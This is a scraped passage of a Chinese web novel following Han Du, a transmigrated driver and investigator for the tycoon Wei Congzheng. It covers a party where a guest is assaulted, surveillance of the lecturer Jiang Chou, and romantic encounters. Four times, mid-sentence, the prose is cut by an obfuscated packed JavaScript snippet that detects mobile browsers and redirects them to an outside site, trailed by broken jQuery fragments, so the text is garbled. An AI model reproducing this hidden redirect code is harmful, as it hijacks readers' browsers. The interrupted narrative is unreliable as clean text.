侯昭昭掩唇而笑,问候一旁的郭子期:“郭子,你来得不早,星桥已经在楼上等你好久了。”
郭子期“哎呀”一声,拱手说了句“失陪”,先他们一步进了后厅。
大厅里的音乐声震耳欲聋,头顶金灯照耀在光可鉴人的大理石地砖上,使人耳晕目眩。三三两两的年轻人聚在一起,或是跳舞,或是喝酒聊天,一位位衣着清凉的男模女模如同彩蝶穿行其间,陪一众富家子弟们笑闹着。
屋外正是一年中最为严寒的时节,屋内却仿若暖巢,进门顷刻间,铺天盖地的暖气已经烘得韩渡脊背渗出细汗。
侯昭昭在前方带路,他们一行人穿过人头攒动的前厅,来到甬道后的庭院。庭院正中央是一座露天泳池,泳池水面上空散发着蒸腾的热气,不少人正在水下玩闹。
池边卡座中,有人躺着小憩,也有人穿着湿漉漉的泳衣,在众人哄笑中撬开香槟。
“你这接风宴阵仗不小。”魏从峥环视一圈,回头对侯昭昭说。
侯昭昭笑道:“不这么做,谁知道我侯昭昭回来了呢?”
“太谦虚了。”魏从峥唇角微翘,眼神一动,道,“提前恭喜伯父了。”
侯昭昭笑而不语,眼含秋波地睇了魏从峥一眼。她像是才看到苏郁明和韩渡等人,问道:“峥哥,不介绍一下?”
魏从峥替三人简单介绍。侯昭昭友好地挨个打招呼,最后轮到紧靠在魏从峥身边的苏郁明:“这位我倒是有所耳闻。最近热播的剧集《紫都》就是苏先生主演的吧?”
提到自己的作品,苏郁明神态略微松弛了些,他笑着点头,围绕其中的一些剧情,与侯昭昭聊了起来。
两人相谈甚欢,一路沿着金碧辉煌的楼梯直到顶层,柔软细腻的长绒地毯在他们脚下延展开来,奢华的走廊尽头是一扇刻着浮雕的黑色房门。
侯昭昭推开门:“看我把谁带来了。”
这是一间套房样式的屋子,布局典雅别致,现代化的舒适设计中嵌入了不少颇具巧思的设计,韩渡一打眼便留意到了挂在墙面上的一幅巨画,画布整体呈棕绿色,神情哀婉的圣母被丝绸裹挟,在她流血的双腿下,面目狰狞的初生婴儿在啃食脐带。画面极具冲击力,让人看得难以移开目光。
此时,屋内众人皆欢欣雀跃,吹着口哨欢迎魏从峥和侯昭昭的加入。
有些人是韩渡已经眼熟的,比如荣逸飞、郭子期、孙星桥。也有几张生面孔,韩渡并没有上前搭话,他跟小王一起,找了个地方安静坐下。
魏从峥被拉上牌桌,桌面垒着各色韩渡没有见过的筹码,让座的人站在魏从峥身后,不时与魏从峥说着话,两人的交流互动非常熟稔。
一旁,侯昭昭点了根雪茄送到魏从峥唇边,红色的指甲配上纤长细嫩的手,轻轻垫在魏从峥下巴。魏从峥凤眸微扬,身体斜依在侯昭昭臂弯,笑着凑到她指尖深深吸了一口,徐徐吐出白雾,画面十足的放浪形骸。
小王碰了碰韩渡肩膀:“咱俩待在这里合适吗?”
“不合适也都进来了。”韩渡实打实地说,让他别多想。放眼望去,荣逸飞也在牌桌上,坐在魏从峥旁边。郭子期则坐在远些的沙发上,挨在自己女朋友身边吃水果,孙星桥手里剥着橘子皮,同时在跟身边的一位漂亮女性说着话。苏郁明刚进来时还有些局促,此时也找到了合适的社交对象。
“侯小姐号召力名不虚传。”小王感叹。
“这话怎么说?”韩渡问道。
“我虽然身在国外,对国内几大世家的情况也了解一些,听说侯小姐在远赴海外前,就是圈内出名的派对女王。”小王解释道,“她是荣公子的表妹,所以跟我们这边关系也不错。”
韩渡对这位口音奇特的混血裔助理刮目相看:“你知道的真不少。”
“没有这点能力,也做不了魏总的助理。”小王骄傲地挺了挺胸膛,随即表达了对韩渡的好奇:“你是怎么跟着魏总的?”
“机缘巧合,也就是给他开开车,跟你们这些专业人士不能比。”韩渡绕过不能说的内容,简单跟小王说了前因后果。
“你这是实习期呀。”小王听完,摸着下巴总结。
韩渡微愣:“你的意思是,他在考察我?”
“当然。”小王说道,“魏总身边最不缺的就是人才,比起能力,他更看重忠心、性格、投缘程度。他不会贸然招一个来历不明的人放在司机这种敏感位置,肯定要先考察一段时间。”
见韩渡没有反应,小王又摸了摸下巴,提了个建议:“你可以去打听打听,上一任司机去哪里了。”
韩渡点头。又说道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897224|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不管是不是考察期,两个月之后就结束了。”
“两个月?”
“对,合约只签了两个月。”
“你不想留在魏总身边?”小王更惊讶了,像看珍稀动物一样盯着韩渡。
韩渡对长期做司机或者做私家侦探都不感兴趣,只是现在有把柄在魏从峥手里,这才先应付着。见韩渡一副不以为意的模样,小王笑道:“你肯定还不清楚魏氏在国内的地位。”
魏氏的具体情况韩渡自然不清楚,但他也是看过原著的人,多少有些模糊的概念,用“只手遮天”来形容并不算很夸张。但他小民心态很重,心里也有一股很难描述明白的傲气,所以并没有要去攀附的想法。
小王摇摇头,不再说话,好像也失去了跟韩渡交流的热情。
不久,牌桌那边散了。侯昭昭拍拍手掌,宣布了一个消息。
原来她这次回国还有一个目的,就是打造一家个人画廊,打响自己在国内艺术圈的名气。
在座众人都非常捧场地说要搭把手,或者要去参加剪彩仪式。
韩渡不觉将之前看到的画跟她联系起来:“墙上那幅画,难道就是她画的?”
小王显然无法回答这个问题,倒是不知从哪儿走过来的郭子期给出了答案:“没错,个人风格是不是非常突出?”
韩渡同意地点头,问道:“有什么寓意在里面吗?”
“这个我可不好越俎代庖跟你介绍,之后有机会,你们可以当面详聊。”
“那就太好了。”
“嗯?这是看上她了?”
韩渡哑然失笑,见郭子期戏谑地看着自己,说道:“不敢高攀,只是欣赏侯小姐的作品。”
郭子期点头,说道:“走吧,他们要聊正经事了,我带你们下去转转。”
一同离场的还有苏郁明等人。将众人送到楼下后,郭子期独自返回了那间屋子。
小王很快有了自己的行动目标,与韩渡告辞后,逐渐消失在人群里。
韩渡在前厅坐了会,中间有人捧着托盘来送酒,他想到回去还得开车,便拒绝了对方的好意。看了会歌舞后,他略感无聊地起身离开了这里,想找一处安静地方休息一下。
这幢建筑物大得没边,除了前厅、泳池等人流密集的地方,其他区域依然保留了原属于它的古朴宁静。
后厨等后勤场所都在地下,韩渡站在楼梯口看了一眼便绕开了,不久,他走到了一条昏暗的长廊。
这条长廊两边是一间间私密性很强的休息室,显然是为有特殊需要的人准备的。韩渡找了一间空屋子,将喧闹声都隔绝在了门外。
屋内陈设也很简单,厚重的窗帘迤逦落地,窗帘前方摆放了一张长沙发,茶几上放着一些水果和未开封的红酒,人在沙发上坐下后,可以在品尝红酒的同时,烘烤对面正在燃烧的壁炉。
韩渡在桌台上发现一台黑胶唱片机,饶有兴致地选了一张唱片。黑色唱片悠悠打转,沙沙的声音像沙砾在空气中流动。
温柔的歌声潺潺溢出,韩渡正听得入神,“咔嚓”一道开锁声不和谐地插了进来。
18. 初见沈照
下一秒,未上锁的房门被人拉开,一个浑身湿透的年轻男人出现在门口。
这人二十刚出头的年纪,有些蜷曲的头发此刻都被冷水浸湿,一缕一缕地贴在额头上,除此之外,他额角还有一块擦伤,隐约能看到血丝,不知是磕到哪里了。
青年的肤色呈现一种不健康的病态白,唇色又极浓,出挑却冰冷阴翳的眉眼直直朝韩渡望过来。
两人对望一眼,谁也没说话。青年收回视线,锁上房门,旁若无人地将身上湿漉漉的衣服脱了下来,接着是裤子,直到还剩下两件单薄的内衣,才停下动作。
对方不介意在一个陌生人面前脱衣服,反倒是韩渡有些不自在地想离开这里,只是对方的衣服已经脱下了,他也不好趁这时候去开门。
“需要我去给你找件衣服吗?”见青年往自己身旁的壁炉走来,韩渡友善地询问。
对方瞥他一眼,胳膊忽然抬起。
韩渡见他朝自己伸手,第一反应是以为他要动手,正犹豫是否要还击,青年却无视地绕过他,直接从韩渡耳后拿起挂在墙上的电话听筒:“107休息室,送一套衣服过来。”
房间里有专门联络后勤的座机,显然并不需要韩渡多管闲事。韩渡略有些尴尬地往旁边移开了点。
两人靠得很近,韩渡这才发觉,对方虽然纤瘦,却与自己身高相仿,身上覆着一层薄薄肌肉,并不显得瘦小。
房间里多出一个人后,韩渡有了去意。他将唱片机暂停下来,往门口走去。
“我见过你。”青年忽然在他身后说道,将韩渡的脚步喊住。
韩渡转身,提起精神仔细打量他:“我们见过吗?”
“在回燕城的列车上。”
韩渡印象中只有刚穿越来这个世界的时候搭乘过列车,不过距离如今也有好些日子了,早已不记得当时见过哪些人。况且对方见到的很可能只是原身,并不是他。于是韩渡谨慎地点点头:“那真是巧了。”
“你叫什么名字?”对方又问。
韩渡没有多想,把自己的名字告诉他。对方表情冷淡却有礼貌地问:“可以请你帮我个忙吗?”
“你说?”
“帮我去露天泳池那边找一个叫‘孙岩超’的人,就跟他说,‘钟睿’在107号房间里等他。”说完,青年感激地抿唇一笑。
这个要求并不难,韩渡稍微想了想,点头答应下来。
他找到泳池边的时候,众人嬉闹正酣,随手拦下一位路人,打听到孙岩超的位置,他拨开人群,走到了对方面前。
孙岩超是个人高马大的光头男人,手里攥着一瓶酒,被一群人围在中央。
转述了那句话后,孙岩超先是一惊,接着疑神疑鬼地问:“你是谁?钟睿怎么不自己来找我?”
韩渡想起那人浑身湿漉漉的样子,回道:“他现在不太方便。”
孙岩超又问了韩渡身份,韩渡见他块头大却心眼多,不愿跟他多说:“我只负责传话。”说完就转身离开了这里。
韩渡在建筑物里四处参观游览,直到在玻璃花房里看见了苏郁明。隔着十来米的距离,苏郁明正在给粉丝模样的几位女生签名。
他只是多看了两眼,便被眼尖的人发现:“你也喜欢他?”
韩渡循声望去,是一名娇俏如小鹿的少女。
“你是说苏郁明?”韩渡问。
少女笑道:“不然还有谁?”
“他是明星,喜欢他很正常。难道你不喜欢?”韩渡笑道。
“谁规定明星就要所有人都喜欢?”少女撇嘴。
“说的有道理。”韩渡顺着她说。
“我看你长得就比他好,你也是明星吗?”少女忽然大胆地盯着韩渡,直抒胸臆。
韩渡这才意识到自己是被搭讪了,不由感到好笑:“谢谢夸奖,不过我不是明星。”
“那你是做什么的?”
“私家侦探,兼职司机。”见对方满眼的好奇,韩渡这么告诉她。
少女捂嘴,恍然:“我知道了,你是来偷拍苏郁明的。”
“是,大主顾特地吩咐我多拍几张。”韩渡笑着说。
少女眼皮一掀,正要说话,有人路过花房,震惊的话传到二人耳中。“出事了,休息室那边,有个人被脱光衣服挂出来了。”
韩渡与少女对视一眼,少女道:“去看看?”
“走吧。”路上,两人交换了姓名,韩渡与少女高薇一同来到休息室所在区域,沿途发现也有其他好事者跟过来凑热闹。
休息室那条幽长廊道此时已挤满了人,高薇垫脚往前看,视线始终受阻,她推了推韩渡:“你看到什么了?”
韩渡面色凝重。走廊尽头,孙岩超正鼻青脸肿、浑身淤伤地躺在地上,双眼紧闭,呈昏死状。在他身上,有好心人给他盖了一条毯子,但仍能看出他全身衣物被人扒光,此外,其双手以不自然的弧度搭在地上,一看便是被人拧断了。
“是谁这么恶毒,伤了人之后还要扒光了衣服羞辱他?”高薇蹙眉,“孙家也是有头有脸的家族,这下该怎么收场。”
韩渡见她似对这些豪门望族熟悉,便问道:“你认识钟睿吗?”
高薇眼珠一转:“你觉得是钟睿做的?”
韩渡不语,高薇又道:“不会是他,钟睿今天确实来了,但我亲眼看见他有急事离开了,况且,孙岩超平时巴结钟睿得紧,钟睿没理由这么做。”
韩渡一愣,是的,他早该想到,钟睿并非那个青年本名。这下看来,不仅是孙岩超,连他也被摆了一道。
这时,有人认出高薇,热情地上来打招呼。韩渡见状,先行告辞,默默离开了“案发现场”。
可以看到孙岩超的事在迅速发酵,源源不断有人过来这边“看热闹”。韩渡受人利用,间接参与了这件事,心头十分沉重。他与赶来此地的人相向而行,好巧不巧,一抬头在二楼栏杆处看见了那个“罪魁祸首”。
对方脸白如纸,红唇似火,眼里充斥着戒备的冰冷。他俯视韩渡,忽地咧开嘴角,露出个让人感到惊悚的笑容。
韩渡拾级而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897225|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上,来到他面前:“是你做的?”
沈照收起笑容,掸了掸一身全新的干燥衣服:“是他先动的手。”
韩渡目光随之来到他额头,见那处伤口依然没有涂药的痕迹:“怎么不找人给你上药。”
“你不是来兴师问罪的吗?”沈照并不领情。
韩渡略一思量,说道:“你骗我帮你递话的事,确实欠我个解释。”
“当时只有你在场,你见我可怜,想帮帮我,我不是正给你个机会?”
韩渡没想到他会这么说,自己一时的善意竟然成了对方眼中可以利用的东西。“所以你利用别人,还觉得自己很对?”
沈照见他面有愠色,没有再出言刺激他:“如果孙岩超找到你,你就说是受我蒙骗。”
“受‘钟睿’的蒙骗是吗?”韩渡讽刺道。
沈照笑了笑,这回报上了真名:“我姓沈名照,‘心照不宣’的‘照’。”
一直到沈照离开,他额头上的伤还是没有处理。韩渡虽然得知了他的姓名,却不愿意跟他再有接触。虽说是孙岩超动手在先,他可以理解沈照的做法,但高薇说的不无道理,沈照心思缜密、下手毒辣,不宜跟他交往过深。
发生了孙岩超这样的事,宴会气氛难以为继,侯昭昭作为主人,出面镇住了场子,随后安排活动继续,但谨慎的宾客开始陆续离场。
韩渡接到魏从峥通知,先是跟小王汇合,接着在停车场等候他出来。
一出来,呼啸的北风吹得韩渡一个激灵,他仿佛这才意识到如今正是严冬。
小王也是直打哆嗦:“走吧,我们先进车里。”
二人在车里等候稍许,见魏从峥与一位佳人携手而出。
两人走到车边,告别之际,侯昭昭忽然对魏从峥说:“峥哥,他不适合你,你不如再考虑考虑我。”
车内二人均面露异色。
作为当事人的魏从峥却仿佛早有预料,神色波澜不惊,只是浅笑着说:“昭昭,今晚的派对很好,放在三年前,我的确会喜欢,如今却觉得没什么意思了。”
侯昭昭脸色大变,瞪着魏从峥看了片刻:“好,那我倒要看看,这次你的兴趣能维持多久。”话音一转,她又道,“既然这事不成,那你可得答应我另一件事。”
魏从峥笑容不变:“愿闻其详。”
“我的画廊动工在即,诚邀魏总入股。”
“哦?我还以为侯小姐看不上我那点小意思。”
“魏总入股,怎么能说是小意思?”侯昭昭将发丝掖在耳后,话说得极客气。
魏从峥欣然同意:“能为侯小姐的画廊出一份力,是我的荣幸。”
侯昭昭见目的达成,便不再痴缠,心满意足地离开,不久,苏郁明也走了出来。
韩渡与小王坐在前排,很有默契地对刚才发生的事闭口不提。魏从峥与苏郁明在后排落座,苏郁明面露疲态,缓缓将身体倾靠在魏从峥肩上。
魏从峥任由他靠着,侧头看向窗外,漆黑的车窗倒映出他面孔,像一片深潭。
19. 密会
环滨大道13号,秋桐酒店内。
云雨方歇,韩渡从地上拾起毯子,简单裹住腰腹,走进卫生间冲洗。
乔斌靠在床沿,看着他离开的背影曲线,又感到一阵口干舌燥,于是捞起酒店的矿泉水,咕隆隆喝下去大半瓶。
等韩渡从卫生间出来,乔斌正在穿衣服。不过不是他那套外卖工作服,而是很有学生气的常服。
韩渡看了看他,问道:“这么晚了,你要去哪?”
乔斌无奈苦笑:“韩哥,我还要赶回学校上晚课。”
韩渡大感意外:“你还是学生?”
乔斌凑上前,勾住韩渡脖子:“如假包换的男大学生,送外卖只是兼职。”
韩渡猜测他也许是家庭经济状况不好,也不方便再追问下去,于是低头在他胳膊上吻了一下,拍拍他:“上课要紧,时间来得及吗?我开车送你。”
“那我就不客气了。”乔斌笑得露出虎牙。
上路后,乔斌一路指示方向,韩渡越看越觉得这路线眼熟:“你是燕城大学学生?”
“是啊。”
“那你认识江筹吗?”
“谁啊?你看上的人?”乔斌先是随口答复,旋即颇有醋意地问道。
韩渡摇头,解释道:“是你们学校地质学讲师,我有意读他的研究生。”
“那我帮你打听打听。”乔斌放下心来,大方地提出要帮忙。
“不用,下回我去蹭课,顺便去看看你。”
乔斌一口答应下来,琢磨了一下,问道:“韩哥你工作多久了?怎么还想回来读研究生?……地质学听说不怎么好就业。”
韩渡微笑道:“我也是想一出是一出,先听几节课看看。”
在校门口将乔斌放下,韩渡一脚油门,离开了这里。
之后半个月,韩渡恢复了正常的工作节奏。一早,他开车去魏从峥的住处接人,把人拉到公司或者机场,随后他就自行前往燕城大学,扮演一名求学若渴的学生,跟踪监视江筹的一举一动,顺便跟乔斌约会。到了下午或晚上,听从吴传非的指令,赶到公司接魏从峥参加晚会等各类活动,直到活动结束的深夜,将魏从峥送到就近的住处。
魏从峥似乎在跟进海外什么项目,近期出国非常频繁。他行程紧密,休息时间很少,通常在车上也是连轴办公。这些小说里不会描写的事情,如今都历历发生在韩渡眼前。熟悉了魏从峥的24小时安排后,韩渡反而觉得他与苏郁明之间的感情纠葛,只是他生活中的一小部分。
这夜,韩渡从机场接魏从峥回到住处,抵达时已经是凌晨两点。
魏从峥看了眼腕表,对韩渡说:“一起下来吧,明早七点我还有行程,你也别来回折腾了。”韩渡自然没什么好拒绝的。
当晚,他在魏从峥住处睡了一夜,第二天五点多,他被楼下运动的声音唤醒。
不足四小时的睡眠让韩渡感到格外疲乏,屋子里还一片漆黑,他打开灯,洗漱完来到楼下。楼下,魏从峥刚沐浴完,头发还潮湿着,正站在厨房里准备早餐。
韩渡走过去帮他搭个手,魏从峥看他一眼:“还没睡醒?”
韩渡将冰箱里的鸡蛋拿给他:“不是每个人都像你一样精力旺盛。”
“待会儿疲劳驾驶可不好。”魏从峥接过鸡蛋,磕开倒入煎锅。
“那你可能需要再找一个司机。”韩渡望着煎锅里逐渐成型的鸡蛋,开口道。
“得亏我有先见之明,待会儿吴传非过来,让他先顶你的位置。”
“不愧是资本家。”韩渡朝他竖个大拇指。
魏从峥矜持地笑笑:“我给他开的工资可不少。”
“多少?”
“等你什么时候成了我的助理,再知道也不迟。”
韩渡给了他一个“无语”的眼神:“遮遮掩掩的,做贼一样。”
魏从峥轻笑着将煎好的两只鸡蛋倒入碗碟:“知足吧,我都亲自下厨给你准备早饭了,端到餐桌上去。”
韩渡将几个碟子端到餐桌,不久,魏从峥擦干净手,站在水吧处问:“你喝咖啡还是牛奶?”
“咖啡,谢谢。”韩渡确实需要点东西提提神。
魏从峥将一杯热腾腾的咖啡放在韩渡左手边,自己则端着另一杯坐在了他对面。
两人各自安心吃饭。
早餐简单但营养搭配均衡,韩渡很快吃完,他喝了口苦涩的咖啡,抬眼见魏从峥头发还湿着,便起身从卫生间里拿了条毛巾,放在他肩上:“擦擦吧,冬天别着凉了。”
“谢了。”魏从峥似乎是被人照顾习惯了,态度自然地接过毛巾,眼睛仍专注地看着手机里的图表。
韩渡清洗完餐具回来,魏从峥正合上手机:“最近江筹那边一直没动静?”
韩渡说:“江老师一直在学校上课,偶尔会出去参加学术会议。”
“江老师?”魏从峥缓缓念出这三个字,似在品味什么。
韩渡站在桌边,等候他指示。
“半个月了,一点情况都没有?”魏从峥看向韩渡,眼神里含着评估。
“我会继续盯着。”韩渡道。
“放轻松。”魏从峥收回目光,浅笑了声,“这种事情,没有当然是最好的。这阵子比较忙,苏郁明那边我难免兼顾不上,有时候还得下面的人帮我留个神。对了,听说何家小少爷闹着要出院,被家里大人按下来了,家里有意要送他出去静养几年。”
韩渡思索他话里的意思,这是在敲打他,还是提示他要尽快动手?
魏从峥却没有要继续说下去的意思,端着喝剩下的咖啡往厨房走去。
这天,吴传非将二人送到城区,韩渡中途下车回家一趟,午后再次来到燕城大学的教职工宿舍。
盯了这么些日子,江筹的生活作息基本被他摸透了,只是正如魏从峥所说,他也有点腻烦这种一成不变的蹲守生活。
他跟门口的保安大爷已经混得很熟,大爷一口一个“小韩”,十分爱拉着他畅谈年轻时候当兵的故事。
日子长了,大爷也很好奇他怎么整日往这里跑。
韩渡的回答也很“诚恳”:我仰慕江筹老师,希望他能收我做学生。
按照以往的惯例,下午五点左右,江筹会下楼,去校区食堂吃晚饭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897226|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
看着时间差不多了,韩渡将怀里抱的一只幼犬放在了地上,一边逗弄,一边给它喂食。
江筹走出单元楼时,正看到一个面熟的年轻男人,半蹲在地上投喂一只浑身脏兮兮的流浪狗。走到近前,他才看清这是一只刚出生没多久的幼犬,浑身毛茸茸的,甩着尾巴在男人手腕边拱来拱去。
听见脚步声,那男人仰起头来,露出一张俊丽的脸,江筹不由问道:“这狗是你家的?”
韩渡宠溺地摸摸狗头:“我不养狗,这是附近乱跑的。”
“他妈妈呢?”
“估计是走丢了。”韩渡叹气道,“这么冷的天,也不知道它能活多久。”
江筹低头,见这小东西活蹦乱跳的,对自己可能被冻死的命运毫不知情,心中一软:“我就住在楼上,先带它上去洗洗吧。”
韩渡惊讶地点头,又迟疑道:“我就不上去了。”
江筹摇头,指着小狗说:“它这么亲你,没你抱着,估计不愿意跟我走。而且我们是不是见过?我看你很面善。”
韩渡失笑,腼腆地挠了挠头:“被江老师认出来了,我叫韩渡,听过您的课。”
江筹顿时有了印象,笑得更热情:“你都叫我一声老师了,跟我一起上去吧。”
“江老师,你要收养它?”
“先等这个冬天过去。”江筹的意思是先过了这阵子,等天气渐暖,再给它物色合适的主人。
韩渡表示理解,建议道:“看它这么脏,不如先带它去检查一下。”
“也好。”江筹让韩渡稍等一会儿,自己则上楼去拿了车钥匙,邀请韩渡跟自己一起去找宠物医院。
到了医院,小狗被医生带去做检查,韩渡与江筹二人在外面的长椅上等候。
“所以你是想读在职研究生?”简单的闲聊之后,江筹问道。
“目前是有这个想法,只是我现在的工作并不方便,想等后面找到更稳定的工作了,再考虑申请学校。”韩渡将准备好的说辞缓缓道出。
“对我这个方向感兴趣?”
“没错。只是我没有基础,课上也只能听个大概。”
“现在没有基础,以后可以补,兴趣是最重要的。”江筹温雅地笑道,“可以多来听课,有什么问题随时问我,我帮你把基础打牢。”
“那就太感谢江老师了。”韩渡十分高兴。
两人正聊着,江筹口袋一阵震动:“不好意思,我先接个电话。”
“您请便。”韩渡点头,“我去看看小狗。”
医院给小狗做了全身体检,小狗很健康,此外,还帮小狗全身清洗了一遍,省去他们一番工夫。
回去路上,江筹对韩渡说:“你住哪儿,我晚上临时有事,先送你回去。”
“不麻烦了,在燕城大学地铁口把我放下来就行。”韩渡的车还停在那附近。
江筹没有坚持,将韩渡送到了地铁口。
目送江筹将小狗带回住处,韩渡走回自己的车里,坐着等了一会。远远看见保安大爷打开道闸杆,江筹的车从里面驶出,他不疾不徐地发动汽车,跟了上去。
20. 尾随失败
韩渡尾随江筹,一路来到菩树原。
菩树原是燕城有名的高档酒吧街区,因为名流艺人出入众多,常有狗仔在这里蹲点。
眼看江筹走进了其中一家酒吧,韩渡将车停好,稍作准备后下车跟了过去。
这是一家清吧,客人并不多,背景播放的爵士音乐很好地中和了环境的清冷感。韩渡选了个不显眼的地方坐下,随手点了杯酒,放眼寻找江筹的位置。
好在并不难找,因为江筹正在跟另外两个人对峙。在他对面站着的,正是苏郁明和荣逸飞。
三人正发生争执,苏郁明情绪最为激动,表情纠结得快哭出来。荣逸飞紧紧握着他的手腕,冷然看着江筹。江筹似乎在努力跟荣逸飞沟通,时不时扶一下眼镜,看神情焦急而又无奈。
韩渡距离他们有些远,听不到他们对话的具体内容。他放弃录音的想法,悄悄用手机录下来一段现场画面,转手发送给了魏从峥。
这场对峙没有维持多久,因为很快引起了酒吧其他客人的注意,三人似乎都觉得不妥,不约而同地往外走。
韩渡也赶紧跟上。
从酒吧后门出去,是一条寂静的后街,街对面的路灯柱子下,几只苍蝇围绕着潮湿的垃圾桶嗡嗡打转。
三人在路灯下继续拉扯。
韩渡靠在门槛处,打开了录音设备。
小说里,苏郁明在十来岁的年纪家道中落,后随母亲搬离燕城,回到了外祖族地。在那里,他结识了同样尚且年幼的江筹,二人相伴读书、生活,度过了从孩童时期到青春期、再到长大成人这段漫长的时光,感情非常深厚。苏郁明在情感懵懂时便对江筹动了心,但苦于江筹正常的性取向,始终不敢表明心意。江筹也一直把苏郁明当作关系很好的弟弟照顾,并没有意识到对方的心思。
再大些,苏郁明去了影视学院,开始做模特、拍戏,江筹那边则就读于燕城大学,不久公派出国深造,两人之间的联系便逐渐淡了。直到江筹回国,得知自己的发小被几个有权有势的贵公子纠缠、玩弄,不得已之下,也卷入了这场漩涡。
江筹是个正人君子,只可惜他遇上的是魏从峥、荣逸飞这类人物,这些人很快意识到苏郁明内心对江筹埋藏的情感,岂能善罢甘休。自此,江筹就成了他们拿捏苏郁明的一颗上好棋子,遭了不少的罪。
寒风在空荡的街上穿扑,韩渡不由惊醒。他现在这么做,岂不是在助纣为虐?从穿越以来,他一直想的都是尽可能远离剧情点,不知不觉中,居然还是成为了剧情的推手。
韩渡掐断录音设备,不再听他们对话,返身走回了酒吧。
回到刚才的位置,那杯未曾动过的酒还安静地摆在桌面上。
韩渡没有去碰那杯色彩艳丽的鸡尾酒,而是陷入了沉思。
他放在桌面上的手机亮了起来,一条短信出现在屏幕上,正是来自他的主顾。
魏从峥:继续跟着。
韩渡拿起手机,回复道:他们走得太快,跟丢了。
魏从峥:你真有水平。
韩渡:你加快些,没准能在江筹宿舍抓个现行。
鬼知道今晚苏郁明会不会跟江筹走,但是魏从峥既然这么关心苏郁明,想必也不会介意多跑几个地方。
韩渡径直走出酒吧,开车往燕城大学疾驰而去。
到了燕城大学,韩渡给乔斌发短信:你现在有空吗?我在你学校门口。
三分钟后,踩着毛拖的乔斌气喘吁吁地出现在韩渡面前,他扒着车窗,笑得灿烂而惊喜:“韩哥!你怎么来了?!”
“不欢迎我?”韩渡拍拍座椅,“快进来,别冻着。”
乔斌拉开车门钻进来:“欢迎欢迎,特别欢迎,你不知道我有多想你。”
“不是前天才见过?”韩渡不以为然,发动汽车往最近的酒店驶去。
“都两天没见了!”乔斌反驳,“我吃饭也想你,睡觉也想,刚刚你给我发短信那会儿还想着。”
韩渡总算被他逗笑,“睡觉怎么想?”
“梦里想啊。”乔斌兴奋地握着胸前的安全带。
韩渡哪能不清楚他话里的意思,没再问下去,倒是乔斌兴致勃勃地继续说:“梦里我们一起去海岛度蜜月,外面刮风下雨,我们在酒店里滚了三天三夜。韩哥你可真厉害……”
“行了,再说我就把你送回去。”韩渡及时打断他,省得听到什么□□的东西。
“哈哈哈哈。”乔斌大笑,“韩哥,你还是太容易害羞了。”
一进酒店房门,韩渡便被乔斌按在门板上亲吻。
韩渡回应了两下,按住他往自己裤子里伸的手:“先去准备一下。”
两人约了这么多回,乔斌多少也知道韩渡的习惯,果断地抽出手,冲进了卫生间。
韩渡有些烦躁地拨了拨头发。刚刚情绪上头,想找人抒发一下,现在稍微冷静下来,已经有些后悔在这时候约乔斌出来。
卫生间里淅淅沥沥的水声响起,韩渡坐在床沿,有抽烟的冲动。
电视里播放着不知名的综艺节目,主持人与明星嘉宾互动着逗乐观众,韩渡静静看着,心绪渐渐平复了下来。
不知过了多久,浴室里的水声由大及小,韩渡的手机忽然震动起来。
他看了眼来电显示,接通后放在耳边。
“你在哪里?”魏从峥的声音淡淡传来。
韩渡没有回答,问道:“有什么事吗?”
“你不是说他们在江筹的宿舍吗?”
“不在吗?”韩渡“惊讶”道。
“呵,”魏从峥在电话里低声笑了起来,似乎心情极好,“当然在,不是你给的地方吗?”
韩渡没有接话,等着魏从峥后面的吩咐。
果然,魏从峥这个电话不是白来的,他说:“我现在就在江筹宿舍楼下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897227|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你也过来一趟吧。”
“我也过去?”韩渡想了想,说,“江筹他现在认识我。”
“不会让你跟他见面。我有些渴了,你顺便带瓶水来。”
“……好。”韩渡只好答应。
“乖,我在这里等你,别太久了。”说完,魏从峥挂断了电话。
韩渡深吸一口气,缓缓吐出。他将手机放回口袋,走到卫生间门口,轻轻敲了敲,说明了去意。
